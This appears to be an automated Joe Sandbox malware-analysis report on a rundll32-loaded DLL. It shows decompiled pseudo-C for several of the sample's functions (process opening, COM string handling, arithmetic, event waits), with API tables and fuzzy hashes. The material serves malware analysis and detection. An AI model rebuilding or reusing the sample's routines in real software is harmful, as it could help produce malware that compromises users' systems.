                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                    • String ID:
                    • API String ID: 3850880919-0
                    • Opcode ID: ad56b94f332b6695463f66a1ef2cccf402887eeaad30a8f25ab5728bfc8090a7
                    • Instruction ID: 38214985fdb37c0559ad054432a8ed4ac30fb2923a91fa9a778cb9e95dafac5b
                    • Opcode Fuzzy Hash: ad56b94f332b6695463f66a1ef2cccf402887eeaad30a8f25ab5728bfc8090a7
                    • Instruction Fuzzy Hash: 6E210A76D00109FFCB11DFE5C9899EEBBBCEF48204B1444AAE505E7240DB709B45DB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C954D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C954D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x2c9a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x2c9a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x2c9a2f8 = _t6;
					 *0x2c9a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x2c9a2f4 = _t7;
					if(_t7 == 0) {
						 *0x2c9a2f4 =  *0x2c9a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                    0x02c954e0
                    0x02c954e6
                    0x02c954ed
                    0x00000000
                    0x02c95547
                    0x02c954ef
                    0x02c954f7
                    0x02c95504
                    0x02c95504
                    0x02c95544
                    0x00000000
                    0x02c95544
                    0x02c95506
                    0x02c95506
                    0x02c9550b
                    0x02c9551d
                    0x02c95522
                    0x02c95528
                    0x02c9552e
                    0x02c95535
                    0x02c95537
                    0x02c95537
                    0x00000000
                    0x02c9553e
                    0x02c95500
                    0x00000000
                    0x00000000
                    0x02c95502
                    0x00000000

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,02C95037,?), ref: 02C954E0
                    • GetVersion.KERNEL32 ref: 02C954EF
                    • GetCurrentProcessId.KERNEL32 ref: 02C9550B
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02C95528
                    • GetLastError.KERNEL32 ref: 02C95547
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                    • String ID:
                    • API String ID: 2270775618-0
                    • Opcode ID: 52e178e03d2984bb10641d9f183331f410b33ad04c9effe37225a1a5e97a6b02
                    • Instruction ID: 8ca7272202613536d08143e2476c83473017ffd8bfcb1371d96c109518ecf26e
                    • Opcode Fuzzy Hash: 52e178e03d2984bb10641d9f183331f410b33ad04c9effe37225a1a5e97a6b02
                    • Instruction Fuzzy Hash: F9F04FB0EC0702DBDF258F35A91EB243BA2A749791F504E19E56AC61C1E77581B0CB15
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C96CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 46%
                    			E02C96CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x2c9a348; // 0x278d5a8
					_t5 = _t103 + 0x2c9b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x2c99284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x2c9a348; // 0x278d5a8
												_t28 = _t109 + 0x2c9b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x2c9a348; // 0x278d5a8
														_t33 = _t79 + 0x2c9b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                    0x02c96ce4
                    0x02c96ced
                    0x02c96cee
                    0x02c96cf2
                    0x02c96cf8
                    0x02c96cfe
                    0x02c96d07
                    0x02c96d0d
                    0x02c96d17
                    0x02c96d19
                    0x02c96d1f
                    0x02c96d24
                    0x02c96d2f
                    0x02c96d35
                    0x02c96d3a
                    0x02c96e5c
                    0x02c96d40
                    0x02c96d40
                    0x02c96d4d
                    0x02c96d53
                    0x02c96d59
                    0x02c96d5d
                    0x02c96d63
                    0x02c96d70
                    0x02c96d74
                    0x02c96d7a
                    0x02c96d7d
                    0x02c96d85
                    0x02c96d86
                    0x02c96d8a
                    0x02c96d8e
                    0x02c96d91
                    0x02c96d94
                    0x02c96d9a
                    0x02c96da3
                    0x02c96da9
                    0x02c96daa
                    0x02c96dad
                    0x02c96dae
                    0x02c96daf
                    0x02c96db7
                    0x02c96db8
                    0x02c96db9
                    0x02c96dbb
                    0x02c96dbf
                    0x02c96dc3
                    0x00000000
                    0x00000000
                    0x02c96dc9
                    0x02c96dd2
                    0x02c96dd8
                    0x02c96de2
                    0x02c96de6
                    0x02c96de8
                    0x02c96df5
                    0x02c96df9
                    0x02c96e01
                    0x02c96e06
                    0x02c96e18
                    0x02c96e1a
                    0x02c96e20
                    0x02c96e20
                    0x02c96e29
                    0x02c96e29
                    0x02c96e2b
                    0x02c96e31
                    0x02c96e31
                    0x02c96e34
                    0x02c96e3a
                    0x02c96e3d
                    0x02c96e46
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c96e46
                    0x02c96d9a
                    0x02c96d94
                    0x02c96d7d
                    0x02c96e4c
                    0x02c96e4c
                    0x02c96e52
                    0x02c96e52
                    0x02c96e58
                    0x02c96e58
                    0x02c96e61
                    0x02c96e67
                    0x02c96e67
                    0x02c96d24
                    0x02c96e70

                    APIs
                    • SysAllocString.OLEAUT32(02C99284), ref: 02C96D2F
                    • lstrcmpW.KERNEL32(00000000,0076006F), ref: 02C96E10
                    • SysFreeString.OLEAUT32(00000000), ref: 02C96E29
                    • SysFreeString.OLEAUT32(?), ref: 02C96E58
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloclstrcmp
                    • String ID:
                    • API String ID: 1885612795-0
                    • Opcode ID: ee60bb701cf21288883bdb58e7c9bd215ad6c6e08b381198c83d040601d07ea3
                    • Instruction ID: 9a0ae134da7976636ab600e7003948159e185e3c9c51580b50444160d34685eb
                    • Opcode Fuzzy Hash: ee60bb701cf21288883bdb58e7c9bd215ad6c6e08b381198c83d040601d07ea3
                    • Instruction Fuzzy Hash: 91513D75D00509EFCF01DFA8C8889AEB7BAFF88704B244599E915EB250D7319E41CBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(?), ref: 02C959B8
                    • SysFreeString.OLEAUT32(00000000), ref: 02C95A9D
                      • Part of subcall function 02C96CDF: SysAllocString.OLEAUT32(02C99284), ref: 02C96D2F
                    • SafeArrayDestroy.OLEAUT32(00000000), ref: 02C95AF0
                    • SysFreeString.OLEAUT32(00000000), ref: 02C95AFF
                      • Part of subcall function 02C977E3: Sleep.KERNEL32(000001F4), ref: 02C9782B
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree$ArrayDestroySafeSleep
                    • String ID:
                    • API String ID: 3193056040-0
                    • Opcode ID: 1229ffb8817b1692b12ba5341d0601c9f79a97aea98895bba38f13e1e3a7f468
                    • Instruction ID: 3fd1376053ad121006cd40b298445998718503d8badb91adcd1a010ca12fa755
                    • Opcode Fuzzy Hash: 1229ffb8817b1692b12ba5341d0601c9f79a97aea98895bba38f13e1e3a7f468
                    • Instruction Fuzzy Hash: 89516375900609EFDF02DFA8C888AAEB7B6FF88744F148929E515DB210DB71DD09CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C94781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E02C94781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E02C961EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E02C96725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E02C97477(_t101,  &_v428, _a8, _t96 - _t81);
					E02C97477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E02C96725(_t101, 0x2c9a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E02C96725(_a16, _a4);
						E02C97894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L02C982DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L02C982D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E02C95F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E02C96E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E02C910A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x2c9a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                    0x02c94784
                    0x02c94790
                    0x02c94796
                    0x02c9479b
                    0x02c9479f
                    0x02c94911
                    0x02c94915
                    0x02c94915
                    0x02c947a5
                    0x02c947a9
                    0x02c947ad
                    0x02c947b0
                    0x02c947bb
                    0x02c947c1
                    0x02c947c6
                    0x02c947c9
                    0x02c947e3
                    0x02c947f2
                    0x02c947fe
                    0x02c94808
                    0x02c9480d
                    0x02c9480f
                    0x02c94812
                    0x02c948c9
                    0x02c948cf
                    0x02c948e0
                    0x02c948f3
                    0x02c94909
                    0x00000000
                    0x02c9490e
                    0x02c9481b
                    0x02c94822
                    0x02c94826
                    0x02c9482c
                    0x02c9482e
                    0x02c94830
                    0x02c94832
                    0x02c94834
                    0x02c9483e
                    0x02c94843
                    0x02c94845
                    0x02c94847
                    0x02c94848
                    0x02c94849
                    0x02c9484a
                    0x02c94851
                    0x02c94858
                    0x02c9485b
                    0x02c9485b
                    0x02c94828
                    0x02c94828
                    0x02c94828
                    0x02c94863
                    0x02c9486b
                    0x02c94877
                    0x02c9487c
                    0x02c9487c
                    0x02c94881
                    0x00000000
                    0x00000000
                    0x02c94883
                    0x02c94886
                    0x02c94893
                    0x00000000
                    0x00000000
                    0x02c94895
                    0x02c94895
                    0x02c948a2
                    0x02c9487c
                    0x02c94881
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c94881
                    0x02c948ac
                    0x02c948af
                    0x02c948b2
                    0x02c948b9
                    0x02c948b9
                    0x02c948c6
                    0x00000000
                    0x02c948c6
                    0x02c947b2
                    0x02c947b6
                    0x02c947b7
                    0x02c947b9
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c947b9
                    0x00000000

                    APIs
                    • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 02C94834
                    • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 02C9484A
                    • memset.NTDLL ref: 02C948F3
                    • memset.NTDLL ref: 02C94909
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: memset$_allmul_aulldiv
                    • String ID:
                    • API String ID: 3041852380-0
                    • Opcode ID: b172cb3698d03d46ddd5cac452abe99ca4ff4f720b5538c88d801cd563b6b3c5
                    • Instruction ID: 16f94434cb1d868288f4be6aef74352121e9cd6c39bf7bd2fecdb9278ed58cf9
                    • Opcode Fuzzy Hash: b172cb3698d03d46ddd5cac452abe99ca4ff4f720b5538c88d801cd563b6b3c5
                    • Instruction Fuzzy Hash: 4541D271A00259AFDF249F68DC48BEE77BAEF45310F104569F909A7280EB70AE55DF80
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E02C9454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x2c9a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x2c9a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E02C933DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x2c9a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E02C961DA(_v16);
							if(_t58 == 0) {
								_t58 = E02C92B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E02C916B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E02C916B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                    0x02c9454f
                    0x02c9455e
                    0x02c94563
                    0x02c94565
                    0x02c9456a
                    0x02c9456b
                    0x02c94570
                    0x02c94571
                    0x02c9457c
                    0x02c945ad
                    0x02c945b2
                    0x02c94675
                    0x02c94678
                    0x02c9467e
                    0x02c9467e
                    0x02c945bf
                    0x02c945c7
                    0x02c94672
                    0x00000000
                    0x02c94672
                    0x02c945d2
                    0x02c945d7
                    0x02c945dc
                    0x02c94664
                    0x02c94665
                    0x02c94665
                    0x02c9466b
                    0x00000000
                    0x02c9466b
                    0x02c945e2
                    0x02c945e4
                    0x02c945ea
                    0x02c945eb
                    0x02c945eb
                    0x02c945ee
                    0x02c945f1
                    0x02c945f7
                    0x02c945fc
                    0x02c945fd
                    0x02c94602
                    0x02c94605
                    0x02c94610
                    0x00000000
                    0x00000000
                    0x02c94618
                    0x02c94620
                    0x02c94649
                    0x02c9464c
                    0x02c94653
                    0x02c9465e
                    0x02c9465e
                    0x00000000
                    0x02c94653
                    0x02c9462c
                    0x02c94630
                    0x00000000
                    0x00000000
                    0x02c94632
                    0x02c94637
                    0x00000000
                    0x00000000
                    0x02c94639
                    0x02c94639
                    0x02c9463e
                    0x00000000
                    0x00000000
                    0x02c94640
                    0x02c94641
                    0x02c94644
                    0x02c94644
                    0x02c945eb
                    0x02c94584
                    0x02c9458c
                    0x02c945a5
                    0x02c945a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c945a7
                    0x02c94598
                    0x02c9459c
                    0x00000000
                    0x00000000
                    0x02c945a2
                    0x00000000

                    APIs
                    • ResetEvent.KERNEL32(?), ref: 02C94565
                    • GetLastError.KERNEL32 ref: 02C9457E
                      • Part of subcall function 02C916B2: WaitForMultipleObjects.KERNEL32(00000002,02C97C47,00000000,02C97C47,?,?,?,02C97C47,0000EA60), ref: 02C916CD
                    • ResetEvent.KERNEL32(?), ref: 02C945F7
                    • GetLastError.KERNEL32 ref: 02C94612
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: ErrorEventLastReset$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2394032930-0
                    • Opcode ID: 2d228927b17ad74c8835b5343f1203348d3c11e3b22b199193c1eaca89172df0
                    • Instruction ID: ac6f001d57b8963801baf13ed4add3252dbe1635b82614aa34dee21c20d85be0
                    • Opcode Fuzzy Hash: 2d228927b17ad74c8835b5343f1203348d3c11e3b22b199193c1eaca89172df0
                    • Instruction Fuzzy Hash: D331C072A40604EFCF259BA5CC4CF6EB7BABFC8750F140628E555E7190EB70EA468B10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C949D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E02C949D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x2c9a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x2c9a348; // 0x278d5a8
				_t3 = _t8 + 0x2c9b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E02C974EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x2c9a34c, 1, 0, _t30);
					E02C961DA(_t30);
				}
				_t12 =  *0x2c9a2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E02C930D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E02C937DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x2c9a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E02C923C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                    0x02c949d1
                    0x02c949d8
                    0x02c949e2
                    0x02c949e6
                    0x02c949ec
                    0x02c949fb
                    0x02c94a02
                    0x02c94a06
                    0x02c94a18
                    0x02c94a1a
                    0x02c94a1a
                    0x02c94a1f
                    0x02c94a26
                    0x02c94a7d
                    0x02c94a7d
                    0x02c94a83
                    0x02c94a85
                    0x02c94a85
                    0x02c94a8f
                    0x02c94a93
                    0x02c94aa5
                    0x02c94aa5
                    0x02c94aa9
                    0x02c94aaf
                    0x02c94aaf
                    0x00000000
                    0x02c94a3f
                    0x02c94a44
                    0x02c94a4c
                    0x02c94a50
                    0x02c94a54
                    0x02c94a54
                    0x02c94a61
                    0x02c94a65
                    0x02c94a69
                    0x02c94abe
                    0x02c94ac4
                    0x02c94ac4
                    0x02c94a77
                    0x02c94a7b
                    0x02c94ab2
                    0x02c94ab4
                    0x02c94ab7
                    0x02c94ab7
                    0x00000000
                    0x02c94ab4
                    0x02c94a7b
                    0x00000000
                    0x02c94a65

                    APIs
                      • Part of subcall function 02C974EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,05429DD8,00000000,?,?,43175AC3,00000005,02C9A00C,4D283A53,?,?), ref: 02C97522
                      • Part of subcall function 02C974EC: lstrcpy.KERNEL32(00000000,00000000), ref: 02C97546
                      • Part of subcall function 02C974EC: lstrcat.KERNEL32(00000000,00000000), ref: 02C9754E
                    • CreateEventA.KERNEL32(02C9A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,02C96A95,?,?,?), ref: 02C94A11
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,02C96A95,00000000,00000000,?,00000000,?,02C96A95,?,?,?), ref: 02C94A71
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,02C96A95,?,?,?), ref: 02C94A9F
                    • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,02C96A95,?,?,?), ref: 02C94AB7
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                    • String ID:
                    • API String ID: 73268831-0
